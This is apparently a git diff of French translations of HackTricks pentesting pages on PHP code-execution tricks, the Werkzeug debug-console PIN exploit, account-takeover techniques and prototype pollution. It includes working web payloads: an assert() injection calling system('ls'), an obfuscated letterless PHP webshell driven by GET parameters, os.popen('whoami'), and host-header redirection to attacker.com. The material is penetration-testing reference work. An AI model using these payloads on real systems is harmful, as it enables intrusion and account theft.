Si une **page PHP imprime des erreurs et renvoie certaines entrées fournies par l'utilisateur**, l'utilisateur peut faire en sorte que le serveur PHP renvoie un **contenu suffisamment long** pour que lorsqu'il essaie d'**ajouter les en-têtes** dans la réponse, le serveur génère une erreur.\
Si une **page PHP imprime des erreurs et renvoie une certaine entrée fournie par l'utilisateur**, l'utilisateur peut faire en sorte que le serveur PHP renvoie un **contenu suffisamment long** pour que lorsqu'il essaie d'**ajouter les en-têtes** dans la réponse, le serveur génère une erreur.\
Dans le scénario suivant, **l'attaquant a provoqué des erreurs importantes sur le serveur**, et comme vous pouvez le voir à l'écran, lorsque PHP a tenté de **modifier les informations d'en-tête, il n'a pas pu** (par exemple, l'en-tête CSP n'a pas été envoyé à l'utilisateur) :
![](<../../../.gitbook/assets/image (1082).png>)
@ -215,16 +215,16 @@ Cette option de preg\_replace a été **dépréciée à partir de PHP 5.5.0.**
```
### **RCE via Assert()**
Cette fonction en php vous permet d'**exécuter du code qui est écrit dans une chaîne de caractères** afin de **retourner vrai ou faux** (et en fonction de cela, modifier l'exécution). Habituellement, la variable utilisateur sera insérée au milieu d'une chaîne de caractères. Par exemple :\
Cette fonction en php vous permet d'**exécuter du code qui est écrit dans une chaîne de caractères** afin de **retourner vrai ou faux** (et en fonction de cela modifier l'exécution). Habituellement, la variable utilisateur sera insérée au milieu d'une chaîne de caractères. Par exemple :\
`assert("strpos($_GET['page']),'..') === false")` --> Dans ce cas, pour obtenir **RCE**, vous pourriez faire :
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
Vous devrez **casser** la **syntaxe** du code, **ajouter** votre **charge utile**, puis la **réparer**. Vous pouvez utiliser des opérations logiques telles que "**and" ou "%26%26" ou "|"**. Notez que "or", "||" ne fonctionnent pas car si la première condition est vraie, notre charge utile ne sera pas exécutée. De la même manière, ";" ne fonctionne pas car notre charge utile ne sera pas exécutée.
Vous devrez **casser** la **syntaxe** du code, **ajouter** votre **charge utile**, puis la **réparer**. Vous pouvez utiliser des **opérations logiques** telles que "**et**" ou "%26%26" ou "|". Notez que "or", "||" ne fonctionne pas car si la première condition est vraie, notre charge utile ne sera pas exécutée. De la même manière, ";" ne fonctionne pas car notre charge utile ne sera pas exécutée.
**Une autre option** est d'ajouter à la chaîne l'exécution de la commande : `'.highlight_file('.passwd').'`
**Une autre option** (si vous avez le code interne) est de modifier une variable pour altérer l'exécution : `$file = "hola"`
**Autre option** (si vous avez le code interne) est de modifier une variable pour altérer l'exécution : `$file = "hola"`
### **RCE via usort()**
@ -251,7 +251,7 @@ usort();}phpinfo;#, "cmp");
```
### **RCE via .httaccess**
Si vous pouvez **uploader** un **.htaccess**, alors vous pouvez **configurer** plusieurs choses et même exécuter du code (configurer les fichiers avec l'extension .htaccess pour être **exécutés**).
Si vous pouvez **uploader** un **.htaccess**, alors vous pouvez **configurer** plusieurs choses et même exécuter du code (configurer les fichiers avec l'extension .htaccess pour qu'ils puissent être **exécutés**).
Différentes coquilles .htaccess peuvent être trouvées [ici](https://github.com/wireghoul/htshells)
@ -261,7 +261,7 @@ Si vous trouvez une vulnérabilité qui vous permet de **modifier les variables
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Cette variable d'environnement vous permet de charger des bibliothèques arbitraires lors de l'exécution d'autres binaires (bien que dans ce cas cela pourrait ne pas fonctionner).
* **`PHPRC`** : Indique à PHP **où trouver son fichier de configuration**, généralement appelé `php.ini`. Si vous pouvez uploader votre propre fichier de configuration, alors utilisez `PHPRC` pour le pointer vers PHP. Ajoutez une entrée **`auto_prepend_file`** spécifiant un deuxième fichier uploadé. Ce deuxième fichier contient du **code PHP normal, qui est ensuite exécuté** par le moteur PHP avant tout autre code.
1. Uploadez un fichier PHP contenant notre code de coquille
1. Uploadez un fichier PHP contenant notre code shell
2. Uploadez un deuxième fichier, contenant une directive **`auto_prepend_file`** indiquant au préprocesseur PHP d'exécuter le fichier que nous avons uploadé à l'étape 1
3. Définissez la variable `PHPRC` sur le fichier que nous avons uploadé à l'étape 2.
* Obtenez plus d'informations sur la façon d'exécuter cette chaîne [**à partir du rapport original**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
@ -284,15 +284,15 @@ Si vous déboguez une application PHP, vous pouvez activer l'affichage des erreu
### Déobfuscation de code PHP
Vous pouvez utiliser le site web [**www.unphp.net**](http://www.unphp.net) pour déobfusquer du code PHP.
Vous pouvez utiliser le **site web** [**www.unphp.net**](http://www.unphp.net) **pour déobfusquer du code PHP.**
## Enveloppes et protocoles PHP
Les enveloppes et protocoles PHP pourraient vous permettre de contourner les protections en écriture et en lecture dans un système et le compromettre. Pour [**plus d'informations, consultez cette page**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
Les enveloppes et protocoles PHP pourraient vous permettre de **contourner les protections en écriture et en lecture** dans un système et le compromettre. Pour [**plus d'informations, consultez cette page**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
## RCE non authentifié Xdebug
Si vous constatez que **Xdebug** est **activé** dans la sortie de `phpconfig()`, vous devriez essayer d'obtenir une RCE via [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
Si vous constatez que **Xdebug** est **activé** dans une sortie `phpconfig()`, vous devriez essayer d'obtenir une RCE via [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
## Variables variables
```php
@ -308,7 +308,7 @@ echo "$x ${Da}"; //Da Drums
```
## RCE abusant de new $\_GET\["a"]\($\_GET\["b"])
Si dans une page vous pouvez **créer un nouvel objet d'une classe arbitraire**, vous pourriez être en mesure d'obtenir une RCE, consultez la page suivante pour apprendre comment :
Si dans une page vous pouvez **créer un nouvel objet d'une classe arbitraire**, vous pourriez être en mesure d'obtenir une RCE, consultez la page suivante pour apprendre comment faire :
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
@ -331,14 +331,14 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
```
### Code shell XOR simple
Selon [**cette explication**](https://mgp25.com/ctf/Web-challenge/), il est possible de générer un code shell simple de cette manière :
Selon [**cette analyse**](https://mgp25.com/ctf/Web-challenge/), il est possible de générer un code shell simple de cette manière :
```php
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
```
Donc, si vous pouvez **exécuter du PHP arbitraire sans chiffres et lettres**, vous pouvez envoyer une requête comme celle-ci en abusant de cette charge utile pour exécuter du PHP arbitraire :
Donc, si vous pouvez **exécuter du PHP arbitraire sans chiffres ni lettres**, vous pouvez envoyer une requête comme celle-ci en abusant de cette charge utile pour exécuter du PHP arbitraire :
```
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
@ -405,7 +405,7 @@ $____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
```
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -413,12 +413,12 @@ $___($_[_]); // ASSERT($_POST[_]);
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
D'autres façons de soutenir HackTricks:
Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
</details>

32
network-services-pentesting/pentesting-web/werkzeug.md
View file

@ -1,14 +1,14 @@
# Werkzeug / Flask Debug
# Werkzeug / Débogage Flask
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
@ -16,13 +16,13 @@ Autres façons de soutenir HackTricks :
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Lancez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser.
**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Exécutez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance aux rapports. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner plus de temps pour creuser plus profondément, ouvrir des shells et s'amuser.
{% embed url="https://pentest-tools.com/" %}
## Console RCE
Si le mode de débogage est actif, vous pourriez essayer d'accéder à `/console` et obtenir une RCE.
Si le débogage est actif, vous pourriez essayer d'accéder à `/console` et obtenir une RCE.
```python
__import__('os').popen('whoami').read();
```
@ -32,7 +32,7 @@ Il existe également plusieurs exploits sur Internet comme [celui-ci](https://gi
## Protégé par code PIN - Traversée de chemin
Dans certains cas, le point de terminaison **`/console`** sera protégé par un code PIN. Si vous avez une **vulnérabilité de traversée de fichier**, vous pouvez divulguer toutes les informations nécessaires pour générer ce code PIN.
Dans certaines occasions, le point de terminaison **`/console`** va être protégé par un code PIN. Si vous avez une **vulnérabilité de traversée de fichier**, vous pouvez divulguer toutes les informations nécessaires pour générer ce code PIN.
### Exploitation du code PIN de la console Werkzeug
@ -42,7 +42,7 @@ The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
```
Un message concernant le scénario "console verrouillée" est rencontré lors de la tentative d'accès à l'interface de débogage de Werkzeug, indiquant la nécessité d'un NIP pour déverrouiller la console. La suggestion est de exploiter le NIP de la console en analysant l'algorithme de génération du NIP dans le fichier d'initialisation du débogage de Werkzeug (`__init__.py`). Le mécanisme de génération du NIP peut être étudié à partir du [**dépôt de code source de Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), bien qu'il soit conseillé de se procurer le code serveur réel via une vulnérabilité de traversée de fichiers en raison de potentielles divergences de version.
Un message concernant le scénario "console verrouillée" est rencontré lors de la tentative d'accès à l'interface de débogage de Werkzeug, indiquant la nécessité d'un NIP pour déverrouiller la console. La suggestion est de profiter du NIP de la console en analysant l'algorithme de génération du NIP dans le fichier d'initialisation du débogueur de Werkzeug (`__init__.py`). Le mécanisme de génération du NIP peut être étudié à partir du [**dépôt de code source de Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), bien qu'il soit conseillé de se procurer le code serveur réel via une vulnérabilité de traversée de fichier en raison de potentielles divergences de version.
Pour exploiter le NIP de la console, deux ensembles de variables, `probably_public_bits` et `private_bits`, sont nécessaires :
@ -56,7 +56,7 @@ Pour exploiter le NIP de la console, deux ensembles de variables, `probably_publ
#### **`private_bits`**
* **`uuid.getnode()`** : Récupère l'adresse MAC de la machine actuelle, avec `str(uuid.getnode())` la traduisant en format décimal.
* Pour **déterminer l'adresse MAC du serveur**, il faut identifier l'interface réseau active utilisée par l'application (par exemple, `ens3`). En cas d'incertitude, **fuite `/proc/net/arp`** pour trouver l'identifiant du périphérique, puis **extraire l'adresse MAC** de **`/sys/class/net/<identifiant du périphérique>/address`**.
* Pour **déterminer l'adresse MAC du serveur**, il faut identifier l'interface réseau active utilisée par l'application (par exemple, `ens3`). En cas d'incertitude, **fuite `/proc/net/arp`** pour trouver l'ID du périphérique, puis **extraire l'adresse MAC** de **`/sys/class/net/<ID du périphérique>/address`**.
* La conversion d'une adresse MAC hexadécimale en décimal peut être effectuée comme indiqué ci-dessous :
```python
@ -108,7 +108,7 @@ try:
```
</details>
Après avoir rassemblé toutes les données nécessaires, le script d'exploitation peut être exécuté pour générer le code PIN de la console Werkzeug. Le script utilise les `probably_public_bits` et `private_bits` assemblés pour créer un hachage, qui est ensuite soumis à un traitement supplémentaire pour produire le code PIN final. Voici le code Python pour exécuter ce processus :
Une fois toutes les données nécessaires rassemblées, le script d'exploitation peut être exécuté pour générer le code PIN de la console Werkzeug. Le script utilise les `probably_public_bits` et `private_bits` assemblés pour créer un hash, qui est ensuite soumis à un traitement supplémentaire pour produire le code PIN final. Voici le code Python pour exécuter ce processus :
```python
import hashlib
from itertools import chain
@ -160,14 +160,22 @@ Ce script produit le PIN en hachant les bits concaténés, en ajoutant des sels
Si vous utilisez une **ancienne version** de Werkzeug, essayez de changer l'**algorithme de hachage en md5** au lieu de sha1.
{% endhint %}
## Caractères Unicode Werkzeug
Comme observé dans [**cette issue**](https://github.com/pallets/werkzeug/issues/2833), Werkzeug ne ferme pas une requête avec des caractères Unicode dans les en-têtes. Et comme expliqué dans [**ce compte-rendu**](https://mizu.re/post/twisty-python), cela pourrait causer une vulnérabilité de Smuggling de Requête CL.0.
Cela est dû au fait qu'avec Werkzeug, il est possible d'envoyer certains caractères **Unicode** et cela fera planter le serveur. Cependant, si la connexion HTTP a été créée avec l'en-tête **`Connection: keep-alive`**, le corps de la requête ne sera pas lu et la connexion restera ouverte, donc le **corps** de la requête sera traité comme la **prochaine requête HTTP**.
## Références
* [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
* [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
* [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833)
* [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python)
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests d'intrusion**. Exécutez un test d'intrusion complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les testeurs d'intrusion - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur permettre de gagner du temps pour creuser plus profondément, ouvrir des shells et s'amuser.
**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests d'intrusion**. Lancez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser.
{% embed url="https://pentest-tools.com/" %}
@ -175,9 +183,9 @@ Si vous utilisez une **ancienne version** de Werkzeug, essayez de changer l'**al
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

38
pentesting-web/account-takeover.md
View file

@ -2,21 +2,21 @@
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
## **Problème d'autorisation**
L'email d'un compte doit être tenté d'être modifié, et le processus de confirmation **doit être examiné**. Si celui-ci est jugé **faible**, l'email doit être changé pour celui de la victime prévue, puis confirmé.
L'email d'un compte doit être tenté d'être modifié, et le processus de confirmation **doit être examiné**. S'il est jugé **faible**, l'email doit être changé pour celui de la victime prévue, puis confirmé.
## **Problème de normalisation Unicode**
@ -32,9 +32,9 @@ Pour plus de détails, consultez le document sur la normalisation Unicode :
Si le système cible permet le **réutilisation du lien de réinitialisation**, des efforts doivent être déployés pour **trouver plus de liens de réinitialisation** en utilisant des outils tels que `gau`, `wayback`, ou `scan.io`.
## **Pré-prise de contrôle de compte**
## **Préparation à la prise de contrôle de compte**
1. L'email de la victime doit être utilisé pour s'inscrire sur la plateforme, et un mot de passe doit être défini (une tentative de confirmation doit être faite, bien que l'absence d'accès aux emails de la victime puisse rendre cela impossible).
1. L'email de la victime doit être utilisé pour s'inscrire sur la plateforme, et un mot de passe doit être défini (une tentative de confirmation doit être faite, bien que le manque d'accès aux emails de la victime puisse rendre cela impossible).
2. Il faut attendre que la victime s'inscrive en utilisant OAuth et confirme le compte.
3. On espère que l'inscription régulière sera confirmée, permettant l'accès au compte de la victime.
@ -48,7 +48,7 @@ Si la page contient des **mauvaises configurations CORS**, vous pourriez être e
## **CSRF pour la prise de contrôle de compte**
Si la page est vulnérable au CSRF, vous pourriez être en mesure de faire **modifier son mot de passe** à l'utilisateur, son email ou son authentification pour ensuite y accéder :
Si la page est vulnérable au CSRF, vous pourriez être en mesure de faire modifier le **mot de passe de l'utilisateur**, l'email ou l'authentification pour ensuite y accéder :
{% content-ref url="csrf-cross-site-request-forgery.md" %}
[csrf-cross-site-request-forgery.md](csrf-cross-site-request-forgery.md)
@ -78,7 +78,7 @@ Si vous trouvez un XSS limité ou une prise de contrôle de sous-domaine, vous p
## **Manipulation de la réponse**
Si la réponse d'authentification peut être **réduite à un simple booléen, essayez de changer false en true** et voyez si vous obtenez un accès quelconque.
Si la réponse d'authentification peut être **réduite à un simple booléen, essayez de changer false en true** et voyez si vous obtenez un accès.
## OAuth pour la prise de contrôle de compte
@ -89,9 +89,9 @@ Si la réponse d'authentification peut être **réduite à un simple booléen, e
## Injection d'en-tête Host
1. L'en-tête Host est modifié suite à une demande de réinitialisation de mot de passe.
2. L'en-tête de proxy `X-Forwarded-For` est modifié en `attacker.com`.
2. L'en-tête proxy `X-Forwarded-For` est modifié en `attacker.com`.
3. Les en-têtes Host, Referrer et Origin sont simultanément changés en `attacker.com`.
4. Après avoir initié une réinitialisation de mot de passe et ensuite opté pour renvoyer le mail, les trois méthodes mentionnées ci-dessus sont employées.
4. Après avoir initié une réinitialisation de mot de passe et ensuite opté pour renvoyer le mail, les trois méthodes susmentionnées sont employées.
## Manipulation de la réponse
@ -100,17 +100,19 @@ Si la réponse d'authentification peut être **réduite à un simple booléen, e
* Le code d'état est changé en `200 OK`.
* Le corps de la réponse est modifié en `{"success":true}` ou un objet vide `{}`.
Ces techniques de manipulation sont efficaces dans les scénarios où JSON est utilisé pour la transmission et la réception de données.
Ces techniques de manipulation sont efficaces dans les scénarios où JSON est utilisé pour la transmission et la réception des données.
## Changer l'email de la session actuelle
## Changer l'email de la session en cours
D'après [ce rapport](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea) :
* L'attaquant demande à changer son email avec un nouveau.
* L'attaquant reçoit un lien pour confirmer le changement de l'email.
* L'attaquant envoie le lien à la victime pour qu'elle clique dessus.
* L'email de la victime est changé pour celui indiqué par l'attaquant.
* L'attaquant peut récupérer le mot de passe et prendre le contrôle du compte.
* L'attaquant demande à changer son email avec un nouveau
* L'attaquant reçoit un lien pour confirmer le changement de l'email
* L'attaquant envoie le lien à la victime pour qu'elle clique dessus
* L'email de la victime est changé pour celui indiqué par l'attaquant
* L'attaquant peut récupérer le mot de passe et prendre le contrôle du compte
Cela s'est également produit dans [**ce rapport**](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea).
## Références
@ -119,14 +121,14 @@ D'après [ce rapport](https://dynnyd20.medium.com/one-click-account-take-over-e5
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>

50
pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md
View file

@ -6,11 +6,11 @@
Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
@ -51,7 +51,7 @@ Des fonctions comme `toString` et `valueOf` peuvent être modifiées pour change
## Héritage
En programmation basée sur les prototypes, les propriétés/méthodes sont héritées par les objets à partir de classes. Ces classes sont créées en ajoutant des propriétés/méthodes soit à une instance d'une autre classe, soit à un objet vide.
En programmation basée sur les prototypes, les propriétés/méthodes sont héritées par les objets à partir des classes. Ces classes sont créées en ajoutant des propriétés/méthodes soit à une instance d'une autre classe, soit à un objet vide.
Il convient de noter que lorsqu'une propriété est ajoutée à un objet servant de prototype pour d'autres objets (comme `myPersonObj`), les objets héritants ont accès à cette nouvelle propriété. Cependant, cette propriété n'est pas affichée automatiquement à moins d'être explicitement invoquée.
@ -59,7 +59,7 @@ Il convient de noter que lorsqu'une propriété est ajoutée à un objet servant
## Exploration de la pollution de prototype en JavaScript
Les objets JavaScript sont définis par des paires clé-valeur et héritent du prototype d'objet JavaScript. Cela signifie que modifier le prototype d'objet peut influencer tous les objets dans l'environnement.
Les objets JavaScript sont définis par des paires clé-valeur et héritent du prototype Object JavaScript. Cela signifie que modifier le prototype Object peut influencer tous les objets dans l'environnement.
Utilisons un exemple différent pour illustrer :
```javascript
@ -144,9 +144,9 @@ console.log(key1 + "." + key2)
}
}
```
### Pollution des éléments du tableau
### Pollution des éléments de tableau
Notez que comme vous pouvez polluer les attributs des objets en JS, si vous avez accès pour polluer un tableau, vous pouvez également **polluer les valeurs du tableau** accessibles **par index** (notez que vous ne pouvez pas écraser les valeurs, donc vous devez polluer les index qui sont d'une manière ou d'une autre utilisés mais pas écrits).
Notez que comme vous pouvez polluer les attributs des objets en JS, si vous avez accès pour polluer un tableau, vous pouvez également **polluer les valeurs du tableau** accessibles **par index** (notez que vous ne pouvez pas écraser les valeurs, vous devez donc polluer les index qui sont utilisés d'une manière ou d'une autre mais pas écrits).
```javascript
c = [1,2]
a = []
@ -183,7 +183,7 @@ L'exemple le plus simple est d'ajouter une valeur à un **attribut non défini d
```javascript
if (user.admin) {
```
Si l'attribut **`admin` est indéfini**, il est possible d'exploiter une pollution de prototype et de le définir sur True avec quelque chose comme :
Si l'attribut **`admin` est indéfini**, il est possible d'exploiter une PP et de le définir sur True avec quelque chose comme :
```javascript
Object.prototype.isAdmin = true
let user = {}
